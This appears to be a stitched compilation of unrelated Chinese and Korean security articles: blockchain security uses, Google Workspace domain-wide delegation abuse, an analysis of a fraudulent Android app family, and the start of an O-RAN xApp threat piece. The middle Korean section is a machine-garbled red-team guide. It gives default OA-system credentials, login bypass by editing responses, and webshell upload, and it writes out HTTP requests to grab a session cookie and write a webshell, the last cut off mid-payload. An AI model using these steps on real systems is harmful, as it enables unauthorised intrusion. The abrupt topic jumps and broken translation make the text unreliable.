適應性挑戰——儘管區塊鏈技術幾乎可以應用於任何業務,但公司可能會面臨整合困難。例如,保護供應鏈系統的安全非常具有挑戰性,因為使用區塊鏈重新實現供應鏈邏輯可能需要很長時間。區塊鏈應用程序還可能需要更換現有系統,因此公司在實施區塊鏈技術之前應考慮這一點。

高運營和定製成本——區塊鍊網絡需要大量的計算能力和存儲容量。與現有的非區塊鏈系統相比,這可能會導致更高的邊際成本。在Apriorit,我們始終關注基於區塊鏈的解決方案的成本效率和商業價值。

缺乏明確的治理——區塊鏈技術的運營和使用在全球範圍內沒有得到很好的監管。儘管許多國家都在關注區塊鍊和加密貨幣的法律法規,但要求不斷變化和發展,使得供應商難以實施。您需要不斷跟踪法律法規的變化,以確保您的系統符合您所在地區和行業的適用要求。

這些是您在決定實施區塊鏈技術以提高產品的網絡安全性時需要考慮的主要挑戰。然而,可能的缺點的最終範圍將根據您所處的行業以及您希望藉助區塊鏈解決的其他任務而有所不同。

讓我們仔細看看區塊鏈在網絡安全中的主要用例。

網絡安全的頂級區塊鏈應用區塊鍊是一種多功能技術,您可以應用它來實現各種網絡安全目標。然而,與可以集成到軟件的單獨部分的網絡安全腳本不同,區塊鏈實施通常需要一種全面的方法。這意味著您的整個軟件系統甚至業務運營可能需要進行重大更改才能從區塊鏈的安全功能中受益。

讓我們看看使用區塊鏈來保護您的產品免受網絡威脅並使您的企業更加信譽、安全和值得信賴的主要方法。

1. 驗證所有權和跟踪記錄區塊鏈可以驗證數字資產的所有權,例如域名、知識產權或數字證書,確保只有授權方才能進行更改。

例如,房地產行業正在採用區塊鏈來驗證財產所有權,減少欺詐和糾紛。 StreetWire和ShelterZoom使用該技術來簡化房地產企業的數據管理。

您還可以在供應鏈中使用基於區塊鏈的所有權驗證來跟踪和驗證資產,確保其完整性並降低偽造風險。

區塊鏈的不變性使其成為創建不可更改的審計跟踪的理想選擇,可用於跟踪和驗證系統內的活動。例如,醫療保健組織使用基於區塊鏈的不可變審計跟踪來記錄患者記錄,確保醫療數據的完整性和安全性。

網絡安全中的區塊鏈技術還可用於提高許多政府流程的安全性和透明度:稅收、信息治理、選舉等。

2. 去中心化身份管理區塊鏈可用於記錄和驗證網絡中用戶、設備和軟件的身份和完整性。每個設備或軟件組件都可以在區塊鏈上擁有唯一的身份,並且可以監控它們的行為是否存在任何異常。這使您能夠快速檢測可能是違規或身份盜竊跡象的異常行為,並在其對系統完整性造成損害之前解決它。

通過在區塊鏈上註冊設備和軟件組件,您可以實施基於身份的訪問控制。這將使您能夠更好地控制設備和軟件對產品的訪問,從而降低未經授權訪問的風險。

通過基於區塊鏈的身份管理系統,個人可以控制自己的數字身份並降低身份盜用的風險。例如,Sovrin是一個去中心化身份平台,它使用區塊鏈讓用戶控制自己的個人數據。它用於各種應用,包括自我主權身份驗證。

區塊鏈也是零知識證明的理想環境——用於證明系統存儲特定信息而不洩露實際信息本身的加密技術。它利用區塊鏈來實現網絡安全和隱私,並使身份驗證更加安全。 Zcash是一種注重隱私的加密貨幣,它使用零知識證明來實現私密交易,同時向網絡證明交易的有效性。

3. 安全的數據共享和存儲區塊鏈可用於安全、防篡改的數據存儲和共享,提供敏感信息的機密性和完整性。讓我們詳細看看一些例子。

醫療保健組織使用區塊鏈來安全地管理醫療數據。例如,BurstIQ是一個基於區塊鏈的平台,可幫助醫療保健組織安全地存儲患者數據並在不同部門和機構之間近乎實時地共享數據。區塊鏈還可以幫助建立安全的消息傳遞服務,以便就行政事務和非緊急醫療案件進行快速、舒適的患者與機構溝通。

區塊鏈可以存儲供應鏈中每個產品的所有操作和交易的防篡改記錄。沃爾瑪、寶馬和聯邦快遞等全球巨頭部署區塊鏈來簡化供應鏈效率和運營的分析。

公共部門使用區塊鏈來確保選舉安全。基於區塊鏈的投票系統提供透明且防篡改的投票記錄。例如,愛沙尼亞成功使用區塊鏈保護其投票系統,以防止惡意行為者訪問公民投票數據。

除了保護投票記錄之外,區塊鏈還有助於加快計票速度並確保結果的準確性。由於所有記錄都是不可變的,篡改區塊鏈上的電子投票幾乎是不可能的。然而,在驗證選民身份的同時保持選民選擇的匿名性可能是一個挑戰。

物聯網技術與區塊鏈相結合,可以利用防篡改和去中心化的賬本進行設備交互,從而在物聯網設備之間實現更安全的通信和數據交換。

在金融領域,區塊鏈的最大價值在於其數據不變性和交易透明性。在區塊鏈上存儲交易比保存傳統的數字或紙質記錄更加透明和安全。一些銀行組織,例如ING 集團,使用區塊鏈(特別是零知識範圍證明解決方案)來保護客戶信息的機密性。 Q2是一個虛擬銀行平台,利用區塊鍊和機器學習來加強用戶數據保護。

4. 智能合約的安全自動化基於區塊鏈的智能合約可以自動化安全程序和操作,確保合規性和對安全事件的快速響應。基於以太坊的智能合約可以自動化去中心化應用程序(dApp)和區塊鏈系統中的安全操作,通過減少人為錯誤來提高安全性。智能合約確保多方之間協議的快速、安全和全自動執行。

例如,通過結合區塊鏈技術和智能合約,您可以通過自動限制請求數量或驗證每個網絡參與者來自動為您的產品提供分佈式拒絕服務(DDoS) 保護。

在金融領域,智能合約被用來自動化支付處理和驗證交易。這些合同可以在滿足所有條件時自動執行協議,從而降低欺詐活動的風險。例如,摩根大通等金融機構已經探索使用區塊鍊和智能合約進行高效、安全的抵押品結算。

SMARTRealy和Propy等公司利用智能合約來出售、購買或租賃房產。

區塊鏈在供應鍊網絡安全中的作用在於使用智能合約自動驗證商品和產品,自動保護您的供應鏈免受假冒產品和產品篡改,無需任何人為參與。

結論憑藉可靠的數據加密機制、數據完整性、網絡彈性和可擴展性,區塊鍊為維持高水平的數據安全提供了豐富的機會。因此,從傳統安全系統切換到基於區塊鏈的系統可以使幾乎所有行業的組織受益。

但與任何革命性解決方案一樣,組織在使用區塊鍊和網絡安全來改善對其產品的保護時,應該準備好應對潛在的複雜情況。

微信截图_20231203170519.png

Google Suite是Google在訂閱基礎上提供的一套雲計算生產力和協作軟件工具和軟件,它包含Google廣受歡迎的網上應用,包括Gmail、Google雲端硬盤、Google環聊、Google日曆和Google文檔,現已更名為Google Workspace。研究人員用一種意想不到的方式訪問了來自Google Cloud Platform (GCP)的Google Workspace域數據。

研究人員發現,具有必要權限的GCP標識可以為委託用戶生成訪問令牌,擁有被盜憑證的惡意內部人員或外部攻擊者可以使用此訪問令牌冒充Google Workspace用戶,授予對其數據的未經委託訪問或以其名義執行操作。

隨著組織越來越依賴基於雲的服務,如Google Workspace和Google Cloud Platform GCP,深入研究其安全功能和漏洞的複雜性變得至關重要。

全域委託濫用概述模擬下圖所示的可能的攻擊路徑可能是惡意的內部人員利用他們的訪問權限,例如,在GCP項目中具有編輯器權限的開發人員。他們可以通過濫用在GoogleWorkspace中被授予全域委託權限的服務帳戶來做到這一點,內部人員有權在同一個GCP項目中為服務帳戶生成訪問令牌。

1.png

第二個攻擊場景

啟用了全域委託權限後,惡意的內部人員可以冒充Google Workspace域中的用戶,並使用訪問令牌對API請求進行身份驗證。通過利用適當的作用域和API訪問,內部人員可以訪問和檢索敏感的Google Workspace數據,這可能會危及存儲在域內的電子郵件、文檔和其他機密信息。這些攻擊突出了全域委託功能的威脅。

如果攻擊者獲得了附加到計算引擎實例的GCP服務帳戶令牌,則會出現最壞的情況。例如,計算引擎默認服務帳戶,默認具有編輯器權限,攻擊者可以利用全域內的委託功能來產生更大的影響。如果在同一個項目中,存在一個具有全域委託的服務帳戶,這可能導致攻擊者模仿被委託的服務帳戶,並從GCP橫向移動,以獲得對Google Workspace環境的訪問權。

Google Workspace在研究人員深入研究Google Workspace和GCP中最近出現的複雜安全風險之前,有必要了解這些強大的基於雲的服務。

Google Workspace應用程序是基於雲的協作工具的集合。組織使用Google Workspace通過各種工具來提高他們的工作效率和溝通,例如:

電子郵件;

日曆;

文件存儲和共享;

團隊溝通;

工作流自動化;

安全;

政府;

Google Workspace提供基於角色的訪問控制(RBAC)功能,並允許管理員為用戶分配特定的角色,根據用戶的職責和需求授予他們預定義的權限集。這些角色包括:

超級管理員;

組織管理;

一般用戶管理;

每個角色對組織的Google Workspace環境的不同方面具有特定的權限和控制。 Google Workspace超級管理員擁有更高的權限和更廣泛的域管理職責,包括向服務帳戶授予全域委託權限。

Google Workspace管理員還可以定義特定於應用程序的權限,並限制共享和可見性設置。例如,管理員可以實施防止用戶公開共享文件的策略,並限制共享選項,以確保文件保持在委託範圍內。

GCP和Google Workspace之間鏈接的一個常見用例是,託管在GCP上的應用程序需要與Google Workspace服務之一進行交互。這些服務包括:

Gmail

Calendar

Drive

Docs

這種集成允許應用程序訪問和操作特定於用戶的數據,代表用戶執行操作,或者利用Google Workspace的協作和運行功能。

創建與Google服務交互、訪問Google API、處理用戶數據或代表用戶執行操作的應用程序需要一個委託的GCP服務帳戶。

什麼是服務帳戶?服務帳戶是GCP中的一種特殊類型的帳戶,它表示非人類實體,如應用程序或虛擬機,它允許他們進行身份驗證並與Google API進行交互。服務帳戶與應用程序本身相關聯,而不是與單個最終用戶相關聯。

與用戶帳戶不同,服務帳戶不是Google Workspace域的成員。它們不受Google Workspace管理員設置的域策略的約束,只有在被授予全域委託的情況下才能訪問用戶的數據。

什麼是全域委託?全域委託是Google Workspace中的一個功能,它允許GCP服務帳戶訪問Google Workspace用戶的數據,並代表他們在特定域中進行操作。

當使用全域委託功能時,應用程序可以代表Google Workspace域中的用戶進行操作,而不需要單個用戶對應用程序進行身份驗證和委託。

只有Google Workspace超級管理員才能委託應用程序(作為服務帳戶)代表域中的用戶訪問數據。這種委託稱為“將全域內的權限委託給服務帳戶”。

全域內的委託是如何工作的?要使用全域委託功能,需要執行以下步驟:

1.啟用全域委託:Google Workspace超級管理員為服務帳戶授予全域委託,以及允許該訪問的一組OAuth範圍。這些範圍詳細說明了服務帳戶可以訪問哪些特定服務和特定操作。

例如,如果只是/auth/gmail.readonly被授予,服務帳戶將有權讀取用戶的Gmail郵件,當代表該用戶時,但不能讀取他們的其他工作區數據,如訪問驅動器中的文件。

2.請求Google Workspace訪問令牌:應用程序使用適當的憑據向Google Workspace令牌終端發送請求。這包括服務帳戶的客戶端ID和客戶端秘密,以及訪問用戶數據所需的範圍。如果請求是有效的,並且服務帳戶已被授予必要的全域委託特權,則令牌終端使用訪問令牌進行響應。應用程序可以使用此訪問令牌在請求的範圍內跨域訪問用戶數據。

3.API訪問:應用程序在API請求中包含訪問令牌作為委託標頭,它代表服務帳戶作為身份驗證和委託的證明。

2.png

全域委託流

當被授予全域委託時,Google Workspace中的服務帳戶可以訪問用戶數據,代表用戶進行操作,並驗證對Google API的請求。具體的功能和可訪問的數據取決於所定義的範圍。

了解全域委託功能的風險和影響

一旦將全域委託授予GCP服務帳戶,具有必要權限的GCP標識就可以為同一項目中的委託服務帳戶生成訪問令牌。然後,惡意的內部人員可以使用此訪問令牌冒充Google Workspace用戶,授予對用戶數據的未經委託的訪問權限或代表用戶執行操作。

這種情況造成了全域委託權限的敏感性與GCP平台上管理的權限模型之間的不匹配。

Google文檔包含一個關於全域委託功能的警告通知,其中概述了該功能的重要功能。 Google提到,“只有超級管理員才能管理全域內的委託,並且他們必須指定應用程序可以訪問的每個API範圍。”

谷歌曾建議不要對服務帳戶使用自動角色授予,這會阻止創建默認的谷歌計算引擎服務帳戶。為了幫助緩解過多的權限,Google有關於GCP角色推薦的手冊。

利用兩端審計日誌識別可能存在的濫用攻擊如果不分析來自兩個平台、GCP和Google Workspace的審計日誌,就不可能了解活動全貌,並確定全域內委託功能的任何潛在濫用。服務帳戶密鑰日誌的生成將出現在GCP日誌中,而Google密鑰生成和API調用執行日誌將出現在Google Workspace日誌中。

在下圖中,有一個來自Cortex web界面的XQL查詢,它在GCP審計日誌中搜索服務帳戶密鑰創建。

3.png

搜索服務帳戶密鑰創建

4.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了一個搜索服務帳戶委託日誌的XQL查詢。

5.png

搜索Google Workspace訪問令牌請求

6.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了研究人員檢查了誰給了這個服務帳戶全域委託權限,以及什麼時候發生了這種情況。

7.png

搜索指示已向服務帳戶授予全域委託權限的日誌

8.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了在Cortex web界面中觸發的警報,上面顯示Google Workspace管理員已啟用對GCP服務帳戶的全域委託,並授予他訪問敏感範圍的權限。

9.png

Cortex web界面中的全域委託警報

緩解措施研究人員已經確定的安全風險在於惡意內部人員濫用全域委託功能所需的初始權限與潛在影響之間的不匹配。

具有域委託權限的服務帳戶的最佳安全實踐是將它們放置在GCP層次結構中的高級文件夾中。在GCP層次模型中,訪問控制是分層的。

在較高級別設置的權限和策略(例如,組織或文件夾)不會自動授予對較低級別文件夾或項目的訪問權限。訪問控制在層次結構中不向下繼承,這意味著較低級別的文件夾或項目不能自動訪問較高級別的文件夾或項目。

10.png

GCP資源層次樹

此策略緩解了潛在惡意內部人員破壞安全的空間,這些內部人員通常只擁有上圖所示的GCP層次結構中的較低級文件夾或項目的權限。通過確保只有相同或更高級別文件夾或項目中的實體才能生成對委託服務帳戶的訪問令牌,可以阻止低級區域中的實體獲取服務帳戶的訪問令牌。這有助於防止濫用全域委託權限,並防止對Google Workspace數據的訪問。

總結自2023年6月以來,研究人員一直在通過各種方式與穀歌討論這個問題,Axon團隊也發現了這個問題,他們也向谷歌進行了報告。

在配置此權限時,安全防御者需要考慮與全域委託功能相關的風險和含義。根據全域委託授予的範圍,攻擊者可以使用該功能來冒充Google Workspace用戶,代表他們執行操作並獲得對其數據的未經委託的訪問。

必須強調攻擊者濫用此功能所需的初始權限與可能的影響之間的不匹配。在最壞的情況下,攻擊者或惡意的內部人員可能會洩露敏感的Google Workspace數據,例如存儲在域中的電子郵件、文檔和其他機密信息。

Cortex XDR功能可以識別和警告各種異常活動,例如授予全域委託權限或創建GCP服務帳戶密鑰。 Cortex XDR能夠學習GCP和Google Workspace實體的攻擊,並檢測異常攻擊。

Prisma Cloud CIEM可以通過以下方式幫助降低風險和過度權限訪問:

1.風險權限的可見性、警報和自動補救;

2.使用最低權限訪問補救措施自動查找未使用的權限;

3.Prisma Cloud威脅檢測功能可以對各種與身份相關的異常活動發出警報,例如來自云內部或云外部的異常使用憑據。

4.Prisma Cloud還可以執行運行時操作監控,並為與其云環境相關的任何組件提供治理、風險和遵從性(GRC)要求。

1.jpg

概述經監測,我們截獲了一起與未知家族有關的欺詐性Android 應用傳播事件。詳細調查發現,該家族主要使用開源的Telegram Android 源代碼作為其核心功能模板。通過各種策略,包括但不限於刷單、投資推廣和色情聊天,該家族誘導用戶下載並安裝其應用,從而執行欺詐操作。進一步網絡環境探測結果顯示,存在多款與該家族高度相似的活躍應用,進一步證實了這些應用確實屬於同一個欺詐家族。這個家族不僅具有高度的欺詐性和一致性,還擁有一個完整的業務供應鏈。基於上述特點,我們決定為這一欺詐家族命名為“BOOMSLANG(樹蚺)”。

技術分析2_副本1.jpg

從我們獲取的家族樣本中進行溯源分析後,發現該家族最早始於2022 年9 月進行傳播。由於當時疫情等外部因素的影響,該家族在2022 年9 月至2023 年3 月期間處於欺詐傳播的初級階段。然而,隨著社會狀況逐漸恢復,該家族開始大規模傳播,並推出了多個不同業務類型的版本。值得注意的是,為了適應反欺詐措施,該家族在2023 年7 月首次進行了變種,引入了“Domain Over HTTPS(DoH)”技術。隨後,在2023 年9 月,家族樣本再次發生變種,增加了對現有自動化App 安全檢測手段的抵抗能力,具體採用了NPManager 自帶的StringFrog 混淆技術,以規避基於字符串提取的安全檢測。

DoH(DNS over HTTPS)是一種安全協議,用於通過HTTPS 加密的連接進行DNS 解析請求和響應。其主要目的是增加隱私和安全性,防止DNS 請求被竊聽或篡改。

接下來,我們將對該家族的原始版本以及引入DoH 技術的版本進行深入分析。

樣本概況樣本標識马云惹不起马云MD5 Hash:0a731ace7a01349d8c103ad5dc7fc230

功能與行為1.登錄界面:樣本啟動後展示的是一個登錄界面,該界面要求輸入邀請碼以進行登錄。

2.聊天界面:登錄成功後,用戶將進入一個聊天界面。

3.惡意活動:該樣本主要通過聊天功能進行詐騙或其他類型的惡意行為。

3.png

分析細節樣本基本面分析4.jpg

5.png

1.權限分析:使用Incinerator 工具打開樣本後,從生成的Report 信息中可以觀察到,該樣本請求了多個高風險的權限。

8.jpg

7.jpg

6.jpg

2.動態檢測結果:

马云惹不起马云包名與子目錄問題:動態檢測結果顯示,在im.lpfupkaehn.messenger包名下的tgnet子目錄中,NetworkConfig.java文件存在明顯的問題。

接下來,我們將詳細分析im.lpfupkaehn.messenger包名的具體表現和潛在風險。

代碼相似度文件與目錄結構马云惹不起马云tgnet 子目錄:在im.lpfupkaehn.messenger的相應目錄下,存在一個明確的tgnet子目錄。

源碼比對马云惹不起马云GitHub 搜索結果:利用該目錄中的代碼進行GitHub 搜索後,發現這部分代碼與Telegram Android 源碼高度相似。

页面 1 (1).png

代碼相似性比較马云惹不起马云im.lpfupkaehn.messenger與org.telegram.messenger

11.png

合并2.png

多個類文件,如AccountInstance等,在排除反編譯因素後,顯示為100% 相同。

代碼差異分析主要新增部分在該樣本中,基於Telegram Android 源碼,主要有三個顯著的新增部分:

1.依賴庫:

马云惹不起马云位置:主要集中在com目錄下。

马云惹不起马云功能與調用:這些庫基本上都能通過搜索找到其調用處,主要用於處理一些較小的功能。

马云惹不起马云示例:com.alibaba.fastjson庫主要用於處理更新用戶信息的協議。

2.UI 目錄差異:

马云惹不起马云對比:im.lpfupkaehn.ui目錄與org.telegram.ui目錄相比,前者多出幾個目錄。

马云惹不起马云推測:這些新增目錄可能是為了滿足定制UI 的需求而加入的。

合并3.png

3.tgnet 目錄差異:

马云惹不起马云對比:在im.lpfupkaehn.tgnet和org.telegram.tgnet目錄之間進行比較,發現前者多出幾個文件。

马云惹不起马云推測:這些新增文件可能是用於實現特定的網絡通信或功能。

合并4.png

詳細新增類文件分析在該家族樣本中,特別值得注意的是新增了以下類文件:

基礎網絡與文件操作類:马云惹不起马云FCTokenRequestCallback: 可能與Token 請求有關。

马云惹不起马云FileLoadOperation: 文件加載操作。

马云惹不起马云FileLoadOperationDelegate: 文件加載操作的代理。

马云惹不起马云NetBean: 網絡配置Bean。

马云惹不起马云NetworkConfig: 網絡配置。

马云惹不起马云ParamsUtil: 參數工具。

Telegram 後台通訊擴展(TL 系列):马云惹不起马云TLApiModel: API 模型。

马云惹不起马云TLRPCZ: 可能與RPC 通訊有關。

马云惹不起马云TLRPCBackup: 備份相關。

马云惹不起马云TLRPCBasic: 基礎RPC 功能。

马云惹不起马云TLRPCCall: 通話功能。

马云惹不起马云TLRPCCdn: CDN 相關。

马云惹不起马云TLRPCChats: 聊天相關。

马云惹不起马云TLRPCContacts: 聯繫人相關。

马云惹不起马云TLRPCFriendsHub: 好友中心。

马云惹不起马云TLRPCHotChannel: 熱門頻道。

马云惹不起马云TLRPCLogin: 登錄相關。

马云惹不起马云TLRPCRedpacket: 紅包功能。

马云惹不起马云TLRPCWallet: 錢包功能。

這些新增的類文件主要涉及到網絡操作、文件處理以及與Telegram 後台進行通訊的多個方面。這進一步突顯了該家族樣本相較於原始Telegram 代碼的定制和拓展。

網絡行為分析報告主要焦點:NetworkConfig.java基於自動化分析的結果,NetworkConfig.java文件代碼中存在明顯的問題,因此本次分析將重點關注該文件。

網絡配置更新機制18.png

環境區分:代碼中區分了線上環境和內網環境。只有標識為1002 的是線上環境,需要更新網絡配置。

19.jpg

這裡有兩個關鍵函數initRemoteConnInfos和selecteRemoteConnInfo

20.png

關鍵函數分析:initRemoteConnInfos: 主要負責從配置接口https://*************.***-**********.********.***/************.***獲取目標IP 和端口信息。

21.jpg

selecteRemoteConnInfo:使用阿里遊戲盾將目標IP 和端口轉換為代理IP 和端口,達到隱藏實際IP 和端口的目的。

22.png

23.png

阿里遊戲盾使用邏輯功能介紹:阿里遊戲盾提供了一個免疫DDoS/CC 攻擊的彈性安全網絡。具體來說,它根據提供的目標IP 和端口生成一個動態變化的代理IP 和端口。

挑戰與影響:對於網絡行為分析和惡意程序網絡請求攔截來說,阿里遊戲盾的彈性安全網絡構成了一個嚴重的挑戰。因為代理IP 和端口可以不斷變化,這極大地增加了網絡追踪和攔截的難度。

該樣本利用了複雜的網絡配置和第三方安全服務(阿里遊戲盾)來隱藏其實際網絡行為,從而增加分析和追踪的難度。這些特點進一步證明了該惡意樣本的高度專業性和隱蔽性。 YunCeng.getProxyTcpByDomain的反編譯代碼如下:

24.png

25.png

根據阿里遊戲盾官方網站上較舊版本的文檔,getProxyTcpByDomain函數的前四個參數表現如下:

26_副本.png

函數的後兩個參數則用於返回與輸入目標IP 和端口相對應的代理IP 和端口。在對上述代碼進行進一步分析後,我們發現返回的代理數據最終被傳遞給了ConnectsManager。

27.png

28.png

我們注意到這是一個native函數。在常規情況下,我們需要逆向分析。 so文件以獲取相應的代碼。然而,由於之前我們已經提到這個樣本代碼與Telegram Android 有很高的相似性,我們決定直接查閱Telegram Android 的源代碼來進行分析。

29.png

30.png

在這個步驟中,返回的IP 地址和端口號被設置給了ConnectManager 的datacenter 對象,並隨後重新發起了握手過程以建立新的連接。這一操作實現了樣本與雲端網絡通訊的服務器切換。至此,惡意樣本已經成功地通過新的IP 和端口與遠程服務器建立了新的通信通道。

攔截方法:經過詳細分析,我們完成了對樣本主要網絡請求逃逸攔截行為的審查。該樣本巧妙地利用了防DDoS 服務,通過不斷更換請求的IP 地址和端口,有效地規避了傳統的基於固定IP 請求攔截的防護手段。

要全面阻斷這一樣本的網絡請求,需要通過靜態和動態分析相結合的方式,找出樣本是如何利用阿里遊戲盾服務的,並據此攔截相關網絡通信途徑。具體攔截策略可集中在以下三個方面:

1.攔截樣本通過請求阿里遊戲盾來獲取目標IP 地址和端口的網絡請求。

31.jpg

2.如果第一種攔截策略未能成功執行,那麼還需要針對樣本中預設的默認IP 和端口進行攔截。具體來說,應該攔截所有指向****.**.********.***的網絡請求。

33.jpg

32.jpg

3.在灰度測試階段,如果前兩種攔截策略都未能成功,那麼應關注樣本中預設的第三個默認IP 地址,即**.***.***.***。所有指向這一IP 的網絡請求也應被攔截。

34.jpg

這些網絡請求被巧妙地深藏在代碼中,需要綜合應用動態和靜態分析方法才能準確地識別出它們,這無疑給安全對抗工作增加了額外的挑戰和工作量。

家族變種分析在持續追踪此類惡意APP 過程中,我們發現了一種新的變種,其MD5 哈希值為61eea96bae6e53b6806d974cf35877df。這個新樣本做出了一個顯著的變化:它不再依賴於阿里遊戲盾,而是轉向使用了七牛雲的DoH(DNS over HTTPS)服務。具體的使用方式如下:

35.png

36.jpg

在這個新的變種中,攻擊者將HOST 中的地址配置為七牛雲的DnsManager 的dnsServer。然後,該DnsManager 負責進行DNS 查詢。這種改變不僅表明攻擊者正在逐漸熟悉和利用更高級的網絡服務,而且也增加了分析和攔截其行為的複雜性。

37.jpg

在這種情況下,樣本通過其自己控制的dnsserver 來動態地更換IP 地址。這種設置使得攻擊者能夠在後端使用類似於阿里遊戲盾的工具,隨機返回不同的代理IP 地址,從而實現真實IP 地址的隱藏。如果DNS 查詢失敗,樣本會回退到預設的IP 和端口,進一步增加了對抗分析的複雜性。這種多層次的網絡行為策略不僅增加了分析工作的難度,也為有效攔截創建了額外的挑戰。

가장 기본적인 로그인 박스에서 나누십시오

로그인 상자는 HW가 가장 많이 발생하는 캐릭터이며 구멍에서 벗어나기가 가장 쉽습니다. 일반적으로 사용되는 테스트 방법은 다음과 같습니다

로그인 폭발 팁

image-20231130171640751

우리는 다음과 같은 시스템의 폭발에 대한 두 가지 솔루션이 있습니다.

프론트 엔드 암호화 알고리즘을 분석하고, 비밀번호를 암호화하도록 스크립트를 작성하고, 비밀번호를 123456 000000으로 고정하여 공통 사용자 이름을 사전으로 사용하여 두 가지 방법을 폭파하는 두 가지 방법은 고유 한 장점과 단점이 있습니다. 두 번째는 게임에서 더 효율적이며 분석 암호화 알고리즘은 Red Team Detection Project에 더 적합합니다.

image-20231201170955410

Blasted 계정 비밀번호를 사용하여 백그라운드에 로그인하면 배경 업로드 포인트를 계속 찾을 수 있습니다.

업로드 된 파일 형식을 제한하려면 여기에서 이미지 유형을 참조하십시오.

image-20231201171410743

ASPX 파일 형식 유형을 직접 추가하십시오

image-20231201171600249

성공적인 getshell

image-20231201171755656

반환 패킷 매개 변수를 수정하고 배경을 입력하십시오

때때로 웹 사이트 로그인 상태는 프론트 엔드를 기준으로 판단되며 현재로서는 반환 패키지를 직접 수정하여 우회 할 수 있습니다.

image-20231128172935703

프론트 엔드 판단 로그인 로직은 리턴 패키지의 RET 값을 기반으로 결정됩니다. 반환 값이 1 인 경우 로그인이 성공적으로 로그인됩니다.

image-20231128173007315

배경에 성공적으로 입력했습니다

image-20231128173130312

플러그인은 일반적인 SQL 주입 및 LOG4J 취약성을 감지합니다

권장 SQL 주입 플러그인 https://github.com/smxiazi/xia_sql

기본 원칙은 반환 된 데이터 길이를 기반으로 여러 데이터 패킷을 전송하여 주입이 있는지 여부를 결정하는 것입니다.

image-20231128170800532

수동 스캔 외에도 단일 및 이중 인용문을 수동으로 추가하여 리턴 패키지를 볼 수도 있습니다. 비슷한 오류가 있으면 SQL 주입이있을 수 있습니다.

image-20231128164205795

image-20231205180145610

SQLMAP 셔틀

image-20231128173629321

Log4J 플러그인 권장 https://github.com/thekingofduck/burpfakeip

버프 플러그인 퍼즈 패킷을 통한 헤더 헤더

image-20231128171023433

로그인 상자에서 Log4J 취약성을 성공적으로 감지했습니다

그러나 많은 DNSLOG 플랫폼이 방화벽에 의해 검은 색으로 표시되었으므로 Ceye를 사용하거나 DNSLOG 플랫폼을 직접 구축하는 것이 좋습니다.

image-20231108153844067

시스템 기본 비밀번호 + 배경 1day Exploit

공세 및 방어 경쟁이 점점 더 빈번 해짐에 따라 공개 네트워크에서 직접 악용 할 수있는 프론트 엔드 취약점은 적고 적으며 대부분은 배치 스캔으로 수정되었지만 시스템의 기본 비밀번호를 사용하여 1 일과 결합하여 Utilization을 사용 할 수 있습니다.

기본 비밀번호가있는 경우 admin/admin123

image-20231128173913383

작업을 예약하거나 배경을 입력 할 때 명령을 실행하여 명령을 실행할 수 있습니다.

image-20231128174037559

OA 시스템을 만나면 OA 취약성 감지 도구를 사용하여 허점을 스캔하고 포기합니다. 실제로 이러한 종류의 OA 시스템에서 기본 암호에 문제가있을 수 있습니다.

기본 비밀번호

시스템 관리자 : 시스템/시스템

그룹 관리자 (A8-V5 그룹 버전) Group-Admin/123456

Unit Administrator (A8-V5 Enterprise Edition) admin1/admin123456

감사 관리자 (모든 버전) Audit-Admin/Seeyon123456

image-20231108142849667

때로는 프론트 데스크에서 계정 비밀번호를 사용할 때 로그인 할 수 없습니다. 다음 데이터 패킷을 보내 쿠키를 얻을 수 있습니다.

Post/Seeyon/REST/AUTHENTICATION/UCPCLOGIN HTTP/1.1

호스트 :

user-agent: Mozilla/5.0 (Windows NT 10.0; RV:78.0) Gecko/20100101 Firefox/78.0

컨텐츠 길이 : 71

Content-Type: Application/X-WWW-FORM-URLENCODED

인코딩 : GZIP를 인코딩합니다

userAgentFrom=XXLOGIN_USERNAME=AUDIT-ADMINLOGIN_PASSWORD=SEEYON123456

쿠키를 얻은 후에는 패치의 최신 배경 구멍을 사용하여 심도있게 사용할 수 있습니다. 이번에는 카피 파일 배경 구멍을 사용하십시오.

그러나 실제 전투 후, 나는이 허점에 약간의 함정이 있었고 웹 쉘에 글을 쓸 때 오류가보고되었습니다.

post /seyon/ajax.do?method=ajactionmanagername=portalcssmanagerrnd=111 http/1.1

accept: */*

컨텐츠 -type: Application/x-www-form-urlencoded; charset=utf-8

컨텐츠 길이 : 70

Host: 192.168.91.17

Connection: 유지-알리

user-agent: apache-httpclient/4.5.13 (Java/1.8.0_321)

accept-encoding: gzip, deflate

인수=%5b%22

開放式無線接入網(ORAN or O-RAN) 是搭建一個開放、虛擬化和智能的無線接入網(RAN) 體系結構,從而創造一個包含多家廠商、各家廠商的產品之間可以互操的生態系統。開放無線接入網(ORAN)體系結構為以前封閉的系統提供了標準化的接口和協議。然而,通過對ORAN的研究表明,惡意xApps構成的潛在威脅能夠危及整個Ran智能控制器(RIC)子系統。 Open RAN為5G無線接入網(RAN)引入了模塊化和解耦的設計範式,並承諾通過O-RAN定義的RAN智能控制器(RIC, RAN Intelligent Controller)實現完全的可編程性。

開放式無線電接入網架構通過建立標準接口和協議提供了對先前封閉的無線電接入網系統的接入。預計不同的供應商將在O-RAN中創建eXtended應用程序(xApps),由運營商安裝,這使得xApps成為惡意攻擊者的潛在攻擊向量,目的是在關鍵通信節點中站穩腳跟。

本文將會介紹惡意xApp如何危害整個RAN智能控制器(RIC)子系統。

5G網絡下圖為5G蜂窩網絡的總體架構。通過對分組核心的一些修改,拓撲結構也可以擴展以適應前幾代網絡(如3G和4G)。在下圖的左側是用戶:

1.png

5G網絡的端到端架構

基站(如圖2所示)由以下組件組成:

1.發射和接收無線電信號的天線。

2.一種遠程無線電頭(RRH),它容納射頻(RF)收發器,負責將數字信號轉換為無線電信號,反之亦然。

3.一種基帶單元(BBU),用於處理數字數據處理,包括調製、編碼和解碼以及更高層協議。 BBU可以管理多個RRH和天線。

2.png

典型RAN架構的組件

rrh通常位於天線附近,安裝在手機信號塔上。 BBUs曾經與蜂窩塔同處一處,但目前的基礎設施促使它們會位於更遠的中心位置。 RAN的演變如本文所示。

vRAN(虛擬化RAN)是一種運行在商用現成硬件上的虛擬化BBU。在分離式vRAN設計中,BBU分為CU (central unit)和DU (distributed unit)兩部分。

Open RAN儘管虛擬化和分解,RAN體系結構仍然相對封閉(也就是說,大多數組件必須來自同一供應商以確保兼容性)。當網絡架構關閉時,運營商通常需要向單一供應商支付巨額費用來購買設備和技術。

